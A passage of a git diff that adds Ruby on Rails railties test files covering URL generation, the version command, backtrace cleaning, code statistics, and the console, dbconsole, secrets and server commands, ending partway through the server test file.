@@ -0,0 +1,57 @@
+require "isolation/abstract_unit"
+
+module ApplicationTests
+  class UrlGenerationTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+
+    def app
+      Rails.application
+    end
+
+    test "it works" do
+      require "rails"
+      require "action_controller/railtie"
+      require "action_view/railtie"
+
+      class MyApp < Rails::Application
+        secrets.secret_key_base = "3b7cd727ee24e8444053437c36cc66c4"
+        config.session_store :cookie_store, key: "_myapp_session"
+        config.active_support.deprecation = :log
+        config.eager_load = false
+      end
+
+      Rails.application.initialize!
+
+      class ::ApplicationController < ActionController::Base
+      end
+
+      class ::OmgController < ::ApplicationController
+        def index
+          render plain: omg_path
+        end
+      end
+
+      MyApp.routes.draw do
+        get "/" => "omg#index", as: :omg
+      end
+
+      require "rack/test"
+      extend Rack::Test::Methods
+
+      get "/"
+      assert_equal "/", last_response.body
+    end
+
+    def test_routes_know_the_relative_root
+      require "rails"
+      require "action_controller/railtie"
+      require "action_view/railtie"
+
+      relative_url = "/hello"
+      ENV["RAILS_RELATIVE_URL_ROOT"] = relative_url
+      app = Class.new(Rails::Application)
+      assert_equal relative_url, app.routes.relative_url_root
+      ENV["RAILS_RELATIVE_URL_ROOT"] = nil
+    end
+  end
+end
diff --git a/railties/test/application/version_test.rb b/railties/test/application/version_test.rb
new file mode 100644
index 0000000000..6b419ae7ae
--- /dev/null
+++ b/railties/test/application/version_test.rb
@@ -0,0 +1,24 @@
+require "isolation/abstract_unit"
+require "rails/gem_version"
+
+class VersionTest < ActiveSupport::TestCase
+  include ActiveSupport::Testing::Isolation
+
+  def setup
+    build_app
+  end
+
+  def teardown
+    teardown_app
+  end
+
+  test "command works" do
+    output = Dir.chdir(app_path) { `bin/rails version` }
+    assert_equal "Rails #{Rails.gem_version}\n", output
+  end
+
+  test "short-cut alias works" do
+    output = Dir.chdir(app_path) { `bin/rails -v` }
+    assert_equal "Rails #{Rails.gem_version}\n", output
+  end
+end
diff --git a/railties/test/backtrace_cleaner_test.rb b/railties/test/backtrace_cleaner_test.rb
new file mode 100644
index 0000000000..f71e56f323
--- /dev/null
+++ b/railties/test/backtrace_cleaner_test.rb
@@ -0,0 +1,32 @@
+require "abstract_unit"
+require "rails/backtrace_cleaner"
+
+class BacktraceCleanerTest < ActiveSupport::TestCase
+  def setup
+    @cleaner = Rails::BacktraceCleaner.new
+  end
+
+  test "should format installed gems correctly" do
+    backtrace = [ "#{Gem.path[0]}/gems/nosuchgem-1.2.3/lib/foo.rb" ]
+    result = @cleaner.clean(backtrace, :all)
+    assert_equal "nosuchgem (1.2.3) lib/foo.rb", result[0]
+  end
+
+  test "should format installed gems not in Gem.default_dir correctly" do
+    target_dir = Gem.path.detect { |p| p != Gem.default_dir }
+    # skip this test if default_dir is the only directory on Gem.path
+    if target_dir
+      backtrace = [ "#{target_dir}/gems/nosuchgem-1.2.3/lib/foo.rb" ]
+      result = @cleaner.clean(backtrace, :all)
+      assert_equal "nosuchgem (1.2.3) lib/foo.rb", result[0]
+    end
+  end
+
+  test "should consider traces from irb lines as User code" do
+    backtrace = [ "from (irb):1",
+                  "from /Path/to/rails/railties/lib/rails/commands/console.rb:77:in `start'",
+                  "from bin/rails:4:in `<main>'" ]
+    result = @cleaner.clean(backtrace, :all)
+    assert_equal "from (irb):1", result[0]
+  end
+end
diff --git a/railties/test/code_statistics_calculator_test.rb b/railties/test/code_statistics_calculator_test.rb
new file mode 100644
index 0000000000..25a8a40d27
--- /dev/null
+++ b/railties/test/code_statistics_calculator_test.rb
@@ -0,0 +1,330 @@
+require "abstract_unit"
+require "rails/code_statistics_calculator"
+
+class CodeStatisticsCalculatorTest < ActiveSupport::TestCase
+  def setup
+    @code_statistics_calculator = CodeStatisticsCalculator.new
+  end
+
+  test "calculate statistics using #add_by_file_path" do
+    code = <<-RUBY
+      def foo
+        puts 'foo'
+        # bar
+      end
+    RUBY
+
+    temp_file "stats.rb", code do |path|
+      @code_statistics_calculator.add_by_file_path path
+
+      assert_equal 4, @code_statistics_calculator.lines
+      assert_equal 3, @code_statistics_calculator.code_lines
+      assert_equal 0, @code_statistics_calculator.classes
+      assert_equal 1, @code_statistics_calculator.methods
+    end
+  end
+
+  test "count number of methods in Minitest file" do
+    code = <<-RUBY
+      class FooTest < ActionController::TestCase
+        test 'expectation' do
+          assert true
+        end
+
+        def test_expectation
+          assert true
+        end
+      end
+    RUBY
+
+    temp_file "foo_test.rb", code do |path|
+      @code_statistics_calculator.add_by_file_path path
+      assert_equal 2, @code_statistics_calculator.methods
+    end
+  end
+
+  test "add statistics to another using #add" do
+    code_statistics_calculator_1 = CodeStatisticsCalculator.new(1, 2, 3, 4)
+    @code_statistics_calculator.add(code_statistics_calculator_1)
+
+    assert_equal 1, @code_statistics_calculator.lines
+    assert_equal 2, @code_statistics_calculator.code_lines
+    assert_equal 3, @code_statistics_calculator.classes
+    assert_equal 4, @code_statistics_calculator.methods
+
+    code_statistics_calculator_2 = CodeStatisticsCalculator.new(2, 3, 4, 5)
+    @code_statistics_calculator.add(code_statistics_calculator_2)
+
+    assert_equal 3, @code_statistics_calculator.lines
+    assert_equal 5, @code_statistics_calculator.code_lines
+    assert_equal 7, @code_statistics_calculator.classes
+    assert_equal 9, @code_statistics_calculator.methods
+  end
+
+  test "accumulate statistics using #add_by_io" do
+    code_statistics_calculator_1 = CodeStatisticsCalculator.new(1, 2, 3, 4)
+    @code_statistics_calculator.add(code_statistics_calculator_1)
+
+    code = <<-'CODE'
+      def foo
+        puts 'foo'
+      end
+
+      def bar; end
+      class A; end
+    CODE
+
+    @code_statistics_calculator.add_by_io(StringIO.new(code), :rb)
+
+    assert_equal 7, @code_statistics_calculator.lines
+    assert_equal 7, @code_statistics_calculator.code_lines
+    assert_equal 4, @code_statistics_calculator.classes
+    assert_equal 6, @code_statistics_calculator.methods
+  end
+
+  test "calculate number of Ruby methods" do
+    code = <<-'CODE'
+      def foo
+        puts 'foo'
+      end
+
+      def bar; end
+
+      class Foo
+        def bar(abc)
+        end
+      end
+    CODE
+
+    @code_statistics_calculator.add_by_io(StringIO.new(code), :rb)
+
+    assert_equal 3, @code_statistics_calculator.methods
+  end
+
+  test "calculate Ruby LOCs" do
+    code = <<-'CODE'
+      def foo
+        puts 'foo'
+      end
+
+      # def bar; end
+
+      class A < B
+      end
+    CODE
+
+    @code_statistics_calculator.add_by_io(StringIO.new(code), :rb)
+
+    assert_equal 8, @code_statistics_calculator.lines
+    assert_equal 5, @code_statistics_calculator.code_lines
+  end
+
+  test "calculate number of Ruby classes" do
+    code = <<-'CODE'
+      class Foo < Bar
+        def foo
+          puts 'foo'
+        end
+      end
+
+      class Z; end
+
+      # class A
+      # end
+    CODE
+
+    @code_statistics_calculator.add_by_io(StringIO.new(code), :rb)
+
+    assert_equal 2, @code_statistics_calculator.classes
+  end
+
+  test "skip Ruby comments" do
+    code = <<-'CODE'
+=begin
+      class Foo
+        def foo
+          puts 'foo'
+        end
+      end
+=end
+
+      # class A
+      # end
+    CODE
+
+    @code_statistics_calculator.add_by_io(StringIO.new(code), :rb)
+
+    assert_equal 10, @code_statistics_calculator.lines
+    assert_equal 0, @code_statistics_calculator.code_lines
+    assert_equal 0, @code_statistics_calculator.classes
+    assert_equal 0, @code_statistics_calculator.methods
+  end
+
+  test "calculate number of JS methods" do
+    code = <<-'CODE'
+      function foo(x, y, z) {
+        doX();
+      }
+
+      $(function () {
+        bar();
+      })
+
+      var baz = function ( x ) {
+      }
+    CODE
+
+    @code_statistics_calculator.add_by_io(StringIO.new(code), :js)
+
+    assert_equal 3, @code_statistics_calculator.methods
+  end
+
+  test "calculate JS LOCs" do
+    code = <<-'CODE'
+      function foo()
+        alert('foo');
+      end
+
+      // var b = 2;
+
+      var a = 1;
+    CODE
+
+    @code_statistics_calculator.add_by_io(StringIO.new(code), :js)
+
+    assert_equal 7, @code_statistics_calculator.lines
+    assert_equal 4, @code_statistics_calculator.code_lines
+  end
+
+  test "skip JS comments" do
+    code = <<-'CODE'
+      /*
+       * var f = function () {
+       1 / 2;
+      }
+      */
+
+      // call();
+      //
+    CODE
+
+    @code_statistics_calculator.add_by_io(StringIO.new(code), :js)
+
+    assert_equal 8, @code_statistics_calculator.lines
+    assert_equal 0, @code_statistics_calculator.code_lines
+    assert_equal 0, @code_statistics_calculator.classes
+    assert_equal 0, @code_statistics_calculator.methods
+  end
+
+  test "calculate number of CoffeeScript methods" do
+    code = <<-'CODE'
+      square = (x) -> x * x
+
+      math =
+        cube: (x) -> x * square x
+
+      fill = (container, liquid = "coffee") ->
+        "Filling the #{container} with #{liquid}..."
+
+      $('.shopping_cart').bind 'click', (event) =>
+        @customer.purchase @cart
+    CODE
+
+    @code_statistics_calculator.add_by_io(StringIO.new(code), :coffee)
+
+    assert_equal 4, @code_statistics_calculator.methods
+  end
+
+  test "calculate CoffeeScript LOCs" do
+    code = <<-'CODE'
+      # Assignment:
+      number   = 42
+      opposite = true
+
+      ###
+      CoffeeScript Compiler v1.4.0
+      Released under the MIT License
+      ###
+
+      # Conditions:
+      number = -42 if opposite
+    CODE
+
+    @code_statistics_calculator.add_by_io(StringIO.new(code), :coffee)
+
+    assert_equal 11, @code_statistics_calculator.lines
+    assert_equal 3, @code_statistics_calculator.code_lines
+  end
+
+  test "calculate number of CoffeeScript classes" do
+    code = <<-'CODE'
+      class Animal
+        constructor: (@name) ->
+
+        move: (meters) ->
+          alert @name + " moved #{meters}m."
+
+      class Snake extends Animal
+        move: ->
+          alert "Slithering..."
+          super 5
+
+      # class Horse
+    CODE
+
+    @code_statistics_calculator.add_by_io(StringIO.new(code), :coffee)
+
+    assert_equal 2, @code_statistics_calculator.classes
+  end
+
+  test "skip CoffeeScript comments" do
+    code = <<-'CODE'
+###
+class Animal
+  constructor: (@name) ->
+
+  move: (meters) ->
+    alert @name + " moved #{meters}m."
+  ###
+
+  # class Horse
+  alert 'hello'
+    CODE
+
+    @code_statistics_calculator.add_by_io(StringIO.new(code), :coffee)
+
+    assert_equal 10, @code_statistics_calculator.lines
+    assert_equal 1, @code_statistics_calculator.code_lines
+    assert_equal 0, @code_statistics_calculator.classes
+    assert_equal 0, @code_statistics_calculator.methods
+  end
+
+  test "count rake tasks" do
+    code = <<-'CODE'
+      task :test_task do
+        puts 'foo'
+      end
+
+    CODE
+
+    @code_statistics_calculator.add_by_io(StringIO.new(code), :rake)
+
+    assert_equal 4, @code_statistics_calculator.lines
+    assert_equal 3, @code_statistics_calculator.code_lines
+    assert_equal 0, @code_statistics_calculator.classes
+    assert_equal 0, @code_statistics_calculator.methods
+  end
+
+  private
+    def temp_file(name, content)
+      dir = File.expand_path "fixtures/tmp", __dir__
+      path = "#{dir}/#{name}"
+
+      FileUtils.mkdir_p dir
+      File.write path, content
+
+      yield path
+    ensure
+      FileUtils.rm_rf path
+    end
+end
diff --git a/railties/test/code_statistics_test.rb b/railties/test/code_statistics_test.rb
new file mode 100644
index 0000000000..e6e3943117
--- /dev/null
+++ b/railties/test/code_statistics_test.rb
@@ -0,0 +1,32 @@
+require "abstract_unit"
+require "rails/code_statistics"
+
+class CodeStatisticsTest < ActiveSupport::TestCase
+  def setup
+    @tmp_path = File.expand_path("fixtures/tmp", __dir__)
+    @dir_js   = File.join(@tmp_path, "lib.js")
+    FileUtils.mkdir_p(@dir_js)
+  end
+
+  def teardown
+    FileUtils.rm_rf(@tmp_path)
+  end
+
+  test "ignores directories that happen to have source files extensions" do
+    assert_nothing_raised do
+      @code_statistics = CodeStatistics.new(["tmp dir", @tmp_path])
+    end
+  end
+
+  test "ignores hidden files" do
+    File.write File.join(@tmp_path, ".example.rb"), <<-CODE
+      def foo
+        puts 'foo'
+      end
+    CODE
+
+    assert_nothing_raised do
+      CodeStatistics.new(["hidden file", @tmp_path])
+    end
+  end
+end
diff --git a/railties/test/command/base_test.rb b/railties/test/command/base_test.rb
new file mode 100644
index 0000000000..bac3285f48
--- /dev/null
+++ b/railties/test/command/base_test.rb
@@ -0,0 +1,11 @@
+require "abstract_unit"
+require "rails/command"
+require "rails/commands/generate/generate_command"
+require "rails/commands/secrets/secrets_command"
+
+class Rails::Command::BaseTest < ActiveSupport::TestCase
+  test "printing commands" do
+    assert_equal %w(generate), Rails::Command::GenerateCommand.printing_commands
+    assert_equal %w(secrets:setup secrets:edit secrets:show), Rails::Command::SecretsCommand.printing_commands
+  end
+end
diff --git a/railties/test/commands/console_test.rb b/railties/test/commands/console_test.rb
new file mode 100644
index 0000000000..a7169e16fb
--- /dev/null
+++ b/railties/test/commands/console_test.rb
@@ -0,0 +1,190 @@
+require "abstract_unit"
+require "env_helpers"
+require "rails/command"
+require "rails/commands/console/console_command"
+
+class Rails::ConsoleTest < ActiveSupport::TestCase
+  include EnvHelpers
+
+  class FakeConsole
+    def self.started?
+      @started
+    end
+
+    def self.start
+      @started = true
+    end
+  end
+
+  def test_sandbox_option
+    console = Rails::Console.new(app, parse_arguments(["--sandbox"]))
+    assert console.sandbox?
+  end
+
+  def test_short_version_of_sandbox_option
+    console = Rails::Console.new(app, parse_arguments(["-s"]))
+    assert console.sandbox?
+  end
+
+  def test_no_options
+    console = Rails::Console.new(app, parse_arguments([]))
+    assert !console.sandbox?
+  end
+
+  def test_start
+    start
+
+    assert app.console.started?
+    assert_match(/Loading \w+ environment \(Rails/, output)
+  end
+
+  def test_start_with_sandbox
+    start ["--sandbox"]
+
+    assert app.console.started?
+    assert app.sandbox
+    assert_match(/Loading \w+ environment in sandbox \(Rails/, output)
+  end
+
+  def test_console_with_environment
+    start ["-e", "production"]
+    assert_match(/\sproduction\s/, output)
+  end
+
+  def test_console_defaults_to_IRB
+    app = build_app(nil)
+    assert_equal IRB, Rails::Console.new(app).console
+  end
+
+  def test_default_environment_with_no_rails_env
+    with_rails_env nil do
+      start
+      assert_match(/\sdevelopment\s/, output)
+    end
+  end
+
+  def test_default_environment_with_rails_env
+    with_rails_env "special-production" do
+      start
+      assert_match(/\sspecial-production\s/, output)
+    end
+  end
+
+  def test_default_environment_with_rack_env
+    with_rack_env "production" do
+      start
+      assert_match(/\sproduction\s/, output)
+    end
+  end
+
+  def test_e_option
+    start ["-e", "special-production"]
+    assert_match(/\sspecial-production\s/, output)
+  end
+
+  def test_e_option_is_properly_expanded
+    start ["-e", "prod"]
+    assert_match(/\sproduction\s/, output)
+  end
+
+  def test_environment_option
+    start ["--environment=special-production"]
+    assert_match(/\sspecial-production\s/, output)
+  end
+
+  def test_rails_env_is_production_when_first_argument_is_p
+    assert_deprecated do
+      start ["p"]
+      assert_match(/\sproduction\s/, output)
+    end
+  end
+
+  def test_rails_env_is_test_when_first_argument_is_t
+    assert_deprecated do
+      start ["t"]
+      assert_match(/\stest\s/, output)
+    end
+  end
+
+  def test_rails_env_is_development_when_argument_is_d
+    assert_deprecated do
+      start ["d"]
+      assert_match(/\sdevelopment\s/, output)
+    end
+  end
+
+  def test_rails_env_is_dev_when_argument_is_dev_and_dev_env_is_present
+    Rails::Command::ConsoleCommand.class_eval do
+      alias_method :old_environments, :available_environments
+
+      define_method :available_environments do
+        ["dev"]
+      end
+    end
+
+    assert_deprecated do
+      assert_match("dev", parse_arguments(["dev"])[:environment])
+    end
+  ensure
+    Rails::Command::ConsoleCommand.class_eval do
+      undef_method :available_environments
+      alias_method :available_environments, :old_environments
+      undef_method :old_environments
+    end
+  end
+
+  attr_reader :output
+  private :output
+
+  private
+
+    def start(argv = [])
+      rails_console = Rails::Console.new(app, parse_arguments(argv))
+      @output = capture(:stdout) { rails_console.start }
+    end
+
+    def app
+      @app ||= build_app(FakeConsole)
+    end
+
+    def build_app(console)
+      mocked_console = Class.new do
+        attr_reader :sandbox, :console
+
+        def initialize(console)
+          @console = console
+        end
+
+        def config
+          self
+        end
+
+        def sandbox=(arg)
+          @sandbox = arg
+        end
+
+        def load_console
+        end
+      end
+      mocked_console.new(console)
+    end
+
+    def parse_arguments(args)
+      Rails::Command::ConsoleCommand.class_eval do
+        alias_method :old_perform, :perform
+        define_method(:perform) do
+          extract_environment_option_from_argument
+
+          options
+        end
+      end
+
+      Rails::Command.invoke(:console, args)
+    ensure
+      Rails::Command::ConsoleCommand.class_eval do
+        undef_method :perform
+        alias_method :perform, :old_perform
+        undef_method :old_perform
+      end
+    end
+end
diff --git a/railties/test/commands/dbconsole_test.rb b/railties/test/commands/dbconsole_test.rb
new file mode 100644
index 0000000000..4f55eb9aa6
--- /dev/null
+++ b/railties/test/commands/dbconsole_test.rb
@@ -0,0 +1,347 @@
+require "abstract_unit"
+require "minitest/mock"
+require "rails/command"
+require "rails/commands/dbconsole/dbconsole_command"
+
+class Rails::DBConsoleTest < ActiveSupport::TestCase
+  def setup
+    Rails::DBConsole.const_set("APP_PATH", "rails/all")
+  end
+
+  def teardown
+    Rails::DBConsole.send(:remove_const, "APP_PATH")
+    %w[PGUSER PGHOST PGPORT PGPASSWORD DATABASE_URL].each { |key| ENV.delete(key) }
+  end
+
+  def test_config_with_db_config_only
+    config_sample = {
+      "test" => {
+        "adapter" => "sqlite3",
+        "host" => "localhost",
+        "port" => "9000",
+        "database" => "foo_test",
+        "user" => "foo",
+        "password" => "bar",
+        "pool" => "5",
+        "timeout" => "3000"
+      }
+    }
+    app_db_config(config_sample) do
+      assert_equal config_sample["test"], Rails::DBConsole.new.config
+    end
+  end
+
+  def test_config_with_no_db_config
+    app_db_config(nil) do
+      assert_raise(ActiveRecord::AdapterNotSpecified) {
+        Rails::DBConsole.new.config
+      }
+    end
+  end
+
+  def test_config_with_database_url_only
+    ENV["DATABASE_URL"] = "postgresql://foo:bar@localhost:9000/foo_test?pool=5&timeout=3000"
+    expected = {
+      "adapter"  => "postgresql",
+      "host"     => "localhost",
+      "port"     => 9000,
+      "database" => "foo_test",
+      "username" => "foo",
+      "password" => "bar",
+      "pool"     => "5",
+      "timeout"  => "3000"
+    }.sort
+
+    app_db_config(nil) do
+      assert_equal expected, Rails::DBConsole.new.config.sort
+    end
+  end
+
+  def test_config_choose_database_url_if_exists
+    host = "database-url-host.com"
+    ENV["DATABASE_URL"] = "postgresql://foo:bar@#{host}:9000/foo_test?pool=5&timeout=3000"
+    sample_config = {
+      "test" => {
+        "adapter"  => "postgresql",
+        "host"     => "not-the-#{host}",
+        "port"     => 9000,
+        "database" => "foo_test",
+        "username" => "foo",
+        "password" => "bar",
+        "pool"     => "5",
+        "timeout"  => "3000"
+      }
+    }
+    app_db_config(sample_config) do
+      assert_equal host, Rails::DBConsole.new.config["host"]
+    end
+  end
+
+  def test_env
+    assert_equal "test", Rails::DBConsole.new.environment
+
+    ENV["RAILS_ENV"] = nil
+    ENV["RACK_ENV"] = nil
+
+    Rails.stub(:respond_to?, false) do
+      assert_equal "development", Rails::DBConsole.new.environment
+
+      ENV["RACK_ENV"] = "rack_env"
+      assert_equal "rack_env", Rails::DBConsole.new.environment
+
+      ENV["RAILS_ENV"] = "rails_env"
+      assert_equal "rails_env", Rails::DBConsole.new.environment
+    end
+  ensure
+    ENV["RAILS_ENV"] = "test"
+    ENV["RACK_ENV"] = nil
+  end
+
+  def test_rails_env_is_development_when_argument_is_dev
+    assert_deprecated do
+      stub_available_environments([ "development", "test" ]) do
+        assert_match("development", parse_arguments([ "dev" ])[:environment])
+      end
+    end
+  end
+
+  def test_rails_env_is_development_when_environment_option_is_dev
+    stub_available_environments([ "development", "test" ]) do
+      assert_match("development", parse_arguments([ "-e", "dev" ])[:environment])
+    end
+  end
+
+  def test_rails_env_is_dev_when_argument_is_dev_and_dev_env_is_present
+    assert_deprecated do
+      stub_available_environments([ "dev" ]) do
+        assert_match("dev", parse_arguments([ "dev" ])[:environment])
+      end
+    end
+  end
+
+  def test_mysql
+    start(adapter: "mysql2", database: "db")
+    assert !aborted
+    assert_equal [%w[mysql mysql5], "db"], dbconsole.find_cmd_and_exec_args
+  end
+
+  def test_mysql_full
+    start(adapter: "mysql2", database: "db", host: "locahost", port: 1234, socket: "socket", username: "user", password: "qwerty", encoding: "UTF-8")
+    assert !aborted
+    assert_equal [%w[mysql mysql5], "--host=locahost", "--port=1234", "--socket=socket", "--user=user", "--default-character-set=UTF-8", "-p", "db"], dbconsole.find_cmd_and_exec_args
+  end
+
+  def test_mysql_include_password
+    start({ adapter: "mysql2", database: "db", username: "user", password: "qwerty" }, ["-p"])
+    assert !aborted
+    assert_equal [%w[mysql mysql5], "--user=user", "--password=qwerty", "db"], dbconsole.find_cmd_and_exec_args
+  end
+
+  def test_postgresql
+    start(adapter: "postgresql", database: "db")
+    assert !aborted
+    assert_equal ["psql", "db"], dbconsole.find_cmd_and_exec_args
+  end
+
+  def test_postgresql_full
+    start(adapter: "postgresql", database: "db", username: "user", password: "q1w2e3", host: "host", port: 5432)
+    assert !aborted
+    assert_equal ["psql", "db"], dbconsole.find_cmd_and_exec_args
+    assert_equal "user", ENV["PGUSER"]
+    assert_equal "host", ENV["PGHOST"]
+    assert_equal "5432", ENV["PGPORT"]
+    assert_not_equal "q1w2e3", ENV["PGPASSWORD"]
+  end
+
+  def test_postgresql_include_password
+    start({ adapter: "postgresql", database: "db", username: "user", password: "q1w2e3" }, ["-p"])
+    assert !aborted
+    assert_equal ["psql", "db"], dbconsole.find_cmd_and_exec_args
+    assert_equal "user", ENV["PGUSER"]
+    assert_equal "q1w2e3", ENV["PGPASSWORD"]
+  end
+
+  def test_sqlite3
+    start(adapter: "sqlite3", database: "db.sqlite3")
+    assert !aborted
+    assert_equal ["sqlite3", Rails.root.join("db.sqlite3").to_s], dbconsole.find_cmd_and_exec_args
+  end
+
+  def test_sqlite3_mode
+    start({ adapter: "sqlite3", database: "db.sqlite3" }, ["--mode", "html"])
+    assert !aborted
+    assert_equal ["sqlite3", "-html", Rails.root.join("db.sqlite3").to_s], dbconsole.find_cmd_and_exec_args
+  end
+
+  def test_sqlite3_header
+    start({ adapter: "sqlite3", database: "db.sqlite3" }, ["--header"])
+    assert_equal ["sqlite3", "-header", Rails.root.join("db.sqlite3").to_s], dbconsole.find_cmd_and_exec_args
+  end
+
+  def test_sqlite3_db_absolute_path
+    start(adapter: "sqlite3", database: "/tmp/db.sqlite3")
+    assert !aborted
+    assert_equal ["sqlite3", "/tmp/db.sqlite3"], dbconsole.find_cmd_and_exec_args
+  end
+
+  def test_sqlite3_db_without_defined_rails_root
+    Rails.stub(:respond_to?, false) do
+      start(adapter: "sqlite3", database: "config/db.sqlite3")
+      assert !aborted
+      assert_equal ["sqlite3", Rails.root.join("../config/db.sqlite3").to_s], dbconsole.find_cmd_and_exec_args
+    end
+  end
+
+  def test_oracle
+    start(adapter: "oracle", database: "db", username: "user", password: "secret")
+    assert !aborted
+    assert_equal ["sqlplus", "user@db"], dbconsole.find_cmd_and_exec_args
+  end
+
+  def test_oracle_include_password
+    start({ adapter: "oracle", database: "db", username: "user", password: "secret" }, ["-p"])
+    assert !aborted
+    assert_equal ["sqlplus", "user/secret@db"], dbconsole.find_cmd_and_exec_args
+  end
+
+  def test_unknown_command_line_client
+    start(adapter: "unknown", database: "db")
+    assert aborted
+    assert_match(/Unknown command-line client for db/, output)
+  end
+
+  def test_primary_is_automatically_picked_with_3_level_configuration
+    sample_config = {
+      "test" => {
+        "primary" => {
+          "adapter" => "postgresql"
+        }
+      }
+    }
+
+    app_db_config(sample_config) do
+      assert_equal "postgresql", Rails::DBConsole.new.config["adapter"]
+    end
+  end
+
+  def test_specifying_a_custom_connection_and_environment
+    stub_available_environments(["development"]) do
+      dbconsole = parse_arguments(["-c", "custom", "-e", "development"])
+
+      assert_equal "development", dbconsole[:environment]
+      assert_equal "custom", dbconsole.connection
+    end
+  end
+
+  def test_specifying_a_missing_connection
+    app_db_config({}) do
+      e = assert_raises(ActiveRecord::AdapterNotSpecified) do
+        Rails::Command.invoke(:dbconsole, ["-c", "i_do_not_exist"])
+      end
+
+      assert_includes e.message, "'i_do_not_exist' connection is not configured."
+    end
+  end
+
+  def test_specifying_a_missing_environment
+    app_db_config({}) do
+      e = assert_raises(ActiveRecord::AdapterNotSpecified) do
+        Rails::Command.invoke(:dbconsole)
+      end
+
+      assert_includes e.message, "'test' database is not configured."
+    end
+  end
+
+  def test_print_help_short
+    stdout = capture(:stdout) do
+      Rails::Command.invoke(:dbconsole, ["-h"])
+    end
+    assert_match(/bin\/rails dbconsole \[environment\]/, stdout)
+  end
+
+  def test_print_help_long
+    stdout = capture(:stdout) do
+      Rails::Command.invoke(:dbconsole, ["--help"])
+    end
+    assert_match(/bin\/rails dbconsole \[environment\]/, stdout)
+  end
+
+  attr_reader :aborted, :output
+  private :aborted, :output
+
+  private
+
+    def app_db_config(results)
+      Rails.application.config.stub(:database_configuration, results || {}) do
+        yield
+      end
+    end
+
+    def make_dbconsole
+      Class.new(Rails::DBConsole) do
+        attr_reader :find_cmd_and_exec_args
+
+        def find_cmd_and_exec(*args)
+          @find_cmd_and_exec_args = args
+        end
+      end
+    end
+
+    attr_reader :dbconsole
+
+    def start(config = {}, argv = [])
+      @dbconsole = make_dbconsole.new(parse_arguments(argv))
+      @dbconsole.stub(:config, config.stringify_keys) do
+        capture_abort { @dbconsole.start }
+      end
+    end
+
+    def capture_abort
+      @aborted = false
+      @output = capture(:stderr) do
+        begin
+          yield
+        rescue SystemExit
+          @aborted = true
+        end
+      end
+    end
+
+    def stub_available_environments(environments)
+      Rails::Command::DbconsoleCommand.class_eval do
+        alias_method :old_environments, :available_environments
+
+        define_method :available_environments do
+          environments
+        end
+      end
+
+      yield
+    ensure
+      Rails::Command::DbconsoleCommand.class_eval do
+        undef_method :available_environments
+        alias_method :available_environments, :old_environments
+        undef_method :old_environments
+      end
+    end
+
+    def parse_arguments(args)
+      Rails::Command::DbconsoleCommand.class_eval do
+        alias_method :old_perform, :perform
+        define_method(:perform) do
+          extract_environment_option_from_argument
+
+          options
+        end
+      end
+
+      Rails::Command.invoke(:dbconsole, args)
+    ensure
+      Rails::Command::DbconsoleCommand.class_eval do
+        undef_method :perform
+        alias_method :perform, :old_perform
+        undef_method :old_perform
+      end
+    end
+end
diff --git a/railties/test/commands/secrets_test.rb b/railties/test/commands/secrets_test.rb
new file mode 100644
index 0000000000..3771919849
--- /dev/null
+++ b/railties/test/commands/secrets_test.rb
@@ -0,0 +1,47 @@
+require "isolation/abstract_unit"
+require "rails/command"
+require "rails/commands/secrets/secrets_command"
+
+class Rails::Command::SecretsCommandTest < ActiveSupport::TestCase
+  include ActiveSupport::Testing::Isolation
+
+  def setup
+    build_app
+  end
+
+  def teardown
+    teardown_app
+  end
+
+  test "edit without editor gives hint" do
+    assert_match "No $EDITOR to open decrypted secrets in", run_edit_command(editor: "")
+  end
+
+  test "edit secrets" do
+    # Runs setup before first edit.
+    assert_match(/Adding config\/secrets\.yml\.key to store the encryption key/, run_edit_command)
+
+    # Run twice to ensure encrypted secrets can be reread after first edit pass.
+    2.times do
+      assert_match(/external_api_key: 1466aac22e6a869134be3d09b9e89232fc2c2289/, run_edit_command)
+    end
+  end
+
+  test "show secrets" do
+    run_setup_command
+    assert_match(/external_api_key: 1466aac22e6a869134be3d09b9e89232fc2c2289/, run_show_command)
+  end
+
+  private
+    def run_edit_command(editor: "cat")
+      Dir.chdir(app_path) { `EDITOR="#{editor}" bin/rails secrets:edit` }
+    end
+
+    def run_show_command
+      Dir.chdir(app_path) { `bin/rails secrets:show` }
+    end
+
+    def run_setup_command
+      Dir.chdir(app_path) { `bin/rails secrets:setup` }
+    end
+end
diff --git a/railties/test/commands/server_test.rb b/railties/test/commands/server_test.rb
new file mode 100644
index 0000000000..722323efdc
--- /dev/null
+++ b/railties/test/commands/server_test.rb
@@ -0,0 +1,202 @@
+require "abstract_unit"
+require "env_helpers"
+require "rails/command"
+require "rails/commands/server/server_command"
+
+class Rails::ServerTest < ActiveSupport::TestCase
+  include EnvHelpers
+
+  def test_environment_with_server_option
+    args = ["thin", "-e", "production"]
+    options = parse_arguments(args)
+    assert_equal "production", options[:environment]
+    assert_equal "thin", options[:server]
+  end
+
+  def test_environment_without_server_option
+    args = ["-e", "production"]
+    options = parse_arguments(args)
+    assert_equal "production", options[:environment]
+    assert_nil options[:server]
+  end
+
+  def test_server_option_without_environment
+    args = ["thin"]
+    with_rack_env nil do
+      with_rails_env nil do
+        options = parse_arguments(args)
+        assert_equal "development",  options[:environment]
+        assert_equal "thin", options[:server]
+      end
+    end
+  end
+
+  def test_environment_with_rails_env
+    with_rack_env nil do
+      with_rails_env "production" do
+        options = parse_arguments
+        assert_equal "production", options[:environment]
+      end
+    end
+  end
+
+  def test_environment_with_rack_env
+    with_rails_env nil do
+      with_rack_env "production" do
+        options = parse_arguments
+        assert_equal "production", options[:environment]
+      end
+    end
+  end
+
+  def test_environment_with_port
+    switch_env "PORT", "1234" do
+      options = parse_arguments
+      assert_equal 1234, options[:Port]
+    end
+  end
+
+  def test_environment_with_host
+    switch_env "HOST", "1.2.3.4" do
+      options = parse_arguments
+      assert_equal "1.2.3.4", options[:Host]
+    end
+  end
+
+  def test_caching_without_option
+    args = []
+    options = parse_arguments(args)
+    assert_nil options[:caching]
+  end
+
+  def test_caching_with_option
+    args = ["--dev-caching"]
+    options = parse_arguments(args)
+    assert_equal true, options[:caching]
+
+    args = ["--no-dev-caching"]
+    options = parse_arguments(args)
+    assert_equal false, options[:caching]
+  end
+
+  def test_log_stdout
+    with_rack_env nil do
+      with_rails_env nil do
+        args    = []
+        options = parse_arguments(args)
+        assert_equal true, options[:log_stdout]
+
+        args    = ["-e", "development"]
+        options = parse_arguments(args)
+        assert_equal true, options[:log_stdout]
+
+        args    = ["-e", "production"]
+        options = parse_arguments(args)
+        assert_equal false, options[:log_stdout]
+
+        with_rack_env "development" do
+          args    = []
+          options = parse_arguments(args)
+          assert_equal true, options[:log_stdout]
+        end
+
